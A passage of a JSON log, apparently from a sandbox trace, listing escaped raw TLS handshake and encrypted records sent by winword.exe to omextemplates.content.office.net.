  435. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe3\\xf9\\xea\\x9c\\xc8\\xbc\\xaccpf\\xc8x\\xe2,8\\x1a\\x17\\xde\\xbatwi\\x0e\\xed*q\\x1b\\x0fsuk$\\x84\\xb8\\xb6n\\xaddp!a\\xc2a\\xfd\\xfd\\xe6l\\xaa\\xda\\xf7\\xb7g\\xf5z\\xe2\\x85:a\\x8a\\xbcr}\\xff|\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x08r\\xafl\\xd5\\x8e\\xb4hq\\x0co\\\\x13d\\xa7\\xc6\\xa5k\\xb2k;\\x9e\\x18\\x9c\\x8e]\\x18\\xeb\\xbfs\ty\\xac\\xa8\\xd1\\xcd\"\\xf2e\\x12{g\\xb1\\xd7\\xdf\\xbbb\\x89"
  436. },
  437. {
  438. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xf2\\x13v\\xd9e\\x8c\\x13\\xa9\\xb9\\xb5ncf\\xfas\\x03*1o\\x96d\\x1c\\xf8t~\\x97\\x17g\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  439. },
  440. {
  441. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12/\\xb1m\\xf6o\\xa0\\x91jw\\x99\\xd8\\xa90\\xbc%\\xbd\\x1c&\\x1ds\\xd8\\x0f\\x84\\x99':\\xfbv\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  442. },
  443. {
  444. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xd6\\x9f\\xf5c\\x0f-\\xf5\\xee\\xda\\xa7lv\\xa8g0\\xe1\\x8f,\\xd0\\xb7\\xc0\\xe8{\\x9b\\x83^\\xb1\\xf9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  445. },
  446. {
  447. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xb4\\xab&+\\xc61b}\\xa1*\\x7fh\\xd1\\x0f\\x03tu\\x93^f\\x1ct\\x10\\xac+/\\x07o\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  448. },
  449. {
  450. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12@+~\\x8a(b\\x9e\\x0e\\x05|\\xe8}:\\xba8c\\x0b|\\x9e\n\\x10d\\x89\\x88\\xe5\\xc1\\xdb!\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  451. },
  452. {
  453. "http_request": "winword.exe_WSASend_2\\x02\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\x90\\\\x89@7\\xc3\\xb6\\x17\\x8e\\xb6b\\x017\n\\x06\\xff9\\xa7\\x0b\\xa5>s$y\\x98\\xa4\\xeb\\x84\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  454. },
  455. {
  456. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\x05!\\xd3k\\x82\\xcf\\xc8m\\x12\\xca\\x7f\\xef\\x18g\\x9bu\\xe8\\xdc\\xc6`\\xc7<<sd'\\x02\\x18\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  457. },
  458. {
  459. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12 \\x80@l\\xd5^\\xaa\\xc0bz\\xd5\\xee\\xa1\\xae\\xb6u\\xf5s\\xed\\xa9\\xc1\\x84\\xa8\\xfd\\xccp\\xfa[\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  460. },
  461. {
  462. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\x0c{\\x89\\x0c\\xdc\"\\xdca\\xa4luf\\xd2\\xb32&8\\xfdj\\x80b\\x15\\x0b\\x8b\\xb5q\\x86\\x9d\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  463. },
  464. {
  465. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xdd\\xfb,)\\xb6a5\\xa5\\xe9\\xfd\\x85n\\xa8\\xdb\\xf5\\xc4\\xa2'\\x1e\\xa8\\xfd<\\xcd\\x83nl\\xb9\\xd0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  466. },
  467. {
  468. "http_request": "winword.exe_WSASend_\\x1e\\x02\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xf03(\\x88\\xbf\\xd7\\x8c(p\\xb2\\xdc\\xad\\xb5\\xc3\\x9f\"s=\\x87a))\\xd4\r\\xd3\\x9b\\xa4\\x06\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  469. },
  470. {
  471. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12eu\\xd9\\xfcx@y\\\\x18\\xf9~g\\xfd\\xa2\\x9d\\xaf\\x84\\xa9n`\\xe3\\xb1\\x81\\xdd\\x10\\xa7u\\xf9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  472. },
  473. {
  474. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\x86\\xfc\\xa9\\x14\\x0f\\x87\\xcb\\xaa\\xd1\\xb1g\\xaf\\xfb\\x89r?\\xacg\\x1c\\x1c\\x90\\xda!\\x13~\\xa0\\x80\\xbd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  475. },
  476. {
  477. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xc9\\xb5\\x8f\\x05<+>i\\x07\\xe6\\xc8\\xab\\xf8\t48\\xfak\\xdet|te\\xfe\\x87\\x82\\xe3\\xf9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  478. },
  479. {
  480. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xc8\\xc8\\xcam\\x8777te\\x99\\x02s(\\xb69*'m\\xbewa\\xe4p\\xe3\t\\x88a\\xb7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  481. },
  482. {
  483. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb3y\\xd2\\xf7\\xb4\\xac\\x92\\x04c\\xf3\\x84(y\\xfbp\\xa1o\\xad\\xc4\\xbd\\x02\\x00\\x8d\\x84\\x97;\\x16\\xd9mw\n\\xb85\\x80\\xfer\\x1a\\x88\\x94\\x1c\\xfbd.\\x8a\\x9c\\xd1\\x94'\\x0e\\xf3\\x11\\xae\\x1f\\xf2k\\xe3\\xb3\\xe4\\x19\\xa2\r\\x84a\\x89\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf0\\x97\\x0c\\xd6\\xaa\\xc92ee\\xe3\"d\\xf3:\\xc4\\x13\\x97\\xd0s\\xdc\\x9e\\xf5\\x93j\\xc6\\xe3\\x87\nz\\xfe\\x03e\\x01\\xb0\\xeca\\xe9.\\xcc[\\xb0\\x0c\\x82j\\x1b\\xcc\\x83+"
  484. },
  485. {
  486. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdd%\\x8a\\xd6\\x1bu\\x02\\x1e\\x986kzz\\x9da\\xf7\\xde\\xa5\\xe3\\x93o\\x8b)mj*\t)=\\x97\\xfaw$kk\\xf2@\\x88r8\\x98\\xcb\\x18\\xd8 \\\\x92\\x19\\xfa\\x0f\\xdb[\\x06fh,*\\xf0\\x0f\t&1\\xd8l\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf9\\x86\\x81&\\x8ceu\\x95\\xd7\\xc7u\\xd8u3\\x00ad\\xc5d\\x95\\x8c\\xf7\\x04g|\\xf0\\xc0\\xf60\\x9d9\\x1c\\xdarvx$\\x84\\x82p\\x93}\\x07\\xb7\\x89w>\\xb3"
  487. },
  488. {
  489. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12n\\xfa\\xff\\xd2\"\\xc8\\xf5\\xd1[\\x82\\xef\\x10>6\\xaf\\xe8f\\xf6\\xeahb\\xac\\xf4\\xf2\\x9fu._\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  490. },
  491. {
  492. "http_request": "winword.exe_WSASend_\\x1e\\x02\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xb8\\x17\\xfa\t\\x18\\xa6`!\\xcc\\xbf3\\xd7r^\\x17t\\xc5\\x90x\\xaf\\xfcn\\xca\\xb3l\\xd6a\\xb4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  493. },
  494. {
  495. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12(\\x8b7\\x8b~o\\xbbu\\xaa-aq$!m\\xed\\x12\\xa2]\\x18\\x7f\\x8f\\xba\\xb2\\x8f\\xee\\x00\\x05\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  496. },
  497. {
  498. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xad\\x91\\xa4\\x07\\x8e\\x84f\\xb0e\\x01\\xe6\\xd0\\xb3`f\\xab\\x97\\xf1\\xee\\xb9\\xcftv+\n\\x98\\xca\\xf3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  499. },
  500. {
  501. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xdb*\\xe1\\x06z\\x81b)\\x0c\\xcfd\\xce\\xcb\\xd3\\xc3\\x16\\xd3\\x87\\x91\\xb3\\xe7`{\\xb1v\\x04j\\xeb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  502. },
  503. {
  504. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xe7\\x83\\xc0\\xb9cldz\\x92\\xda{\\xd5\\x85oa}c\\xb6c\\x03\\x80\\xcar\\xa8\\x8c\\x94#a\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  505. },
  506. {
  507. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\n\\xfbgg\\xf0_\\xd9\\xef\\xe4\\xd8\\x1c\\xf2\\x86\\xd5\\xbe,\\xac\\x8b2\\x7f\\x124\\xdacb\\x82\\xe4.\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  508. },
  509. {
  510. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12j\\x8f\\xc0/rvk\\xa1\\xfa\\xb3\\xd7d\\x0c\\x12\\x00&\\xd9\\xf7!rb\\]\\x85\\x98=\\xf6\\xc4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  511. },
  512. {
  513. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\x00t\\xe1\\x8c{\\xa2!\\xfc\\x0e\\x12\\x87\\x0f\\x9cvn%4\\x98\\xb9'\\x80\\xb1g\\x82\\xe7*\\x95'\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  514. },
  515. {
  516. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12i\\xd5\\x10\\xfb\\x17\\xd8\\xac'\\xce\\xcfp\\xae\\xd1\\xb7>q\\xe5v\\xef\\xfdu\\x94\\xc9\\xe1\\\\xf3o-\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  517. },
  518. {
  519. "http_request": "winword.exe_WSASend_2\\x02\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12a72\\xda\\xe2)\\x14&/(8\\xee%\\xa59\\xa6\\x9d\\xe7\\x90\\x80\\xd4\\x1c\\xaf\\xb4ly\\xec\\xa2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  520. },
  521. {
  522. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12a(q\\xb8\\x91\\xb3=\\xfa\\x80\na\\xaa5\\xb1/\\x0f\\xec%,f:o\\x10\\xa4#\\x8eq\\x88\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  523. },
  524. {
  525. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12v\\x95\\xe0\\xc1\\xb6\\xb7\\x05^ja\\x08z\\xea\\xdb\\xdfkg\\x89\\x86\\x1c\\xaa\\xce\\xb7\\x7f.\\x00}\\x0f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  526. },
  527. {
  528. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xac\\xac\\xc2\\xa5\\x85=~\\xbb\\x88'6\\n\\xea~\\xd4t\\xa8\\xeey,\\x8c\\x0e\\x8a\\x87\\xf9\\xc5q\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  529. },
  530. {
  531. "http_request": "winword.exe_WSASend_2\\x02\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x129z\\xf2q\\xc6\\xba\\x9d\\x19\\xbc\\xf5\\xc8\\xd2\\x97\\xd3q\\xab\\x97\\x8b\\xfb=~}\\xd5\\xc7tz6\\xc4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  532. },
  533. {
  534. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010k\\xc4u\\x94\\xc6\\x81\\xa2\\xf0\\x84w\\xfa\\xe5\\x86\\x93\\xcc_\\xd4\n\t-\\x8c\\xf1gy\\xa5\\x91x\\x8f\\x13\\xdc\\x04\\x1c/\\xba\\x94\\xa1d\\xbe\\xb3\\x0f\\xf7m\\x8c\\x14\\x1e'm\\xae\\xb3a[$\\xc0\\x91rif* \\xca\\x88\\xcem\\x87k\\xb0\\x04\\x021=a\\xaccx\\xca\\xac\\xecnw\\xcd\\xe7\\x94\\x9b\\xc9\\xf1\\x0b\\xb7\\x1f\\xf3o\\x95\\x95#\\xe0 p\\xed\\x93\\xdb\\xde\\xfbd\\x9al\\x84\\x98n\\x03>vzo\\xa1\\xd2`\\x1chz\\x1b=\\xc0\\x95\\x15\\xa2w'?\\xfbezu\\x0b@s\\xf6\\x14*\\xcd\\xff-\\xff\\xf7\\x9f\\xf0\\xbf\\xc4\\x82\\xcb\\xff\\x198|u\\xcep@\\xdb\\x1d\\xc6\\xbd\n\\xed>x\\x80\\x91\\xcd\\xbb\\xf2}\\x1f\\xa2\\xd0s1\\xdb\\xa7\\xcav\\x05\\x9a\\xc2\\x0c\\xa1\\x16\\xd1\\x97\\xf7\\x80\\xa9o\\xdc\\xd2\\xb1\\xa7o\\x99z\\xee\\xea\\xea7\\xa0~\\xcb\\x95\\x91\\xa0f\\xb2vl\\xddn\\x16\\x1fv\\xab\\x1f\\xfb\\x1bmz\\xb768x\\xe0\\xcde\\xac\\xa7p\\xc5uy\\xd8\\xb4t\\xd7\\xa1\\x87\\x81\\xc3\\x00\\x0b\\x1c&\\x12[\\xdd"
  535. },
  536. {
  537. "http_request": "winword.exe_WSASend_2\\x02\\x01\\x00f\\x10\\x00\\x00ba\\x04?c\\xf9\\x85>bz\\x82\\x95s\\x88\\xaez\\xce\\xff\n\\x98\\xc9\\x1dx\\x84\\xedo\\xe7\\x91\\xe7m\\xda\\xe8[\\xbdgj-\\xb8\\x9cs\\xc7\\xd7\\xb2\\xa6\\x04\\x99\\xb0\\xec\\x87dn4a\\x17#a.\\xa5g.\\xe2\\x07\"\\x0e\\x05 \\xda\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfd\\x92*\\xeb\\x81\\xa8\\x90{b\\xdc\\xc5\\xd9#x\\x01p\\xb6\\x1d_^\\x9a8\\xdb!\\xcc\\x8biz\\xd8\\x86rx|\\x1e\\xbb\\xa9\\x12b\\xb46\\xdd'\\xf0b$\\xce\\xc7g"
  538. },
  539. {
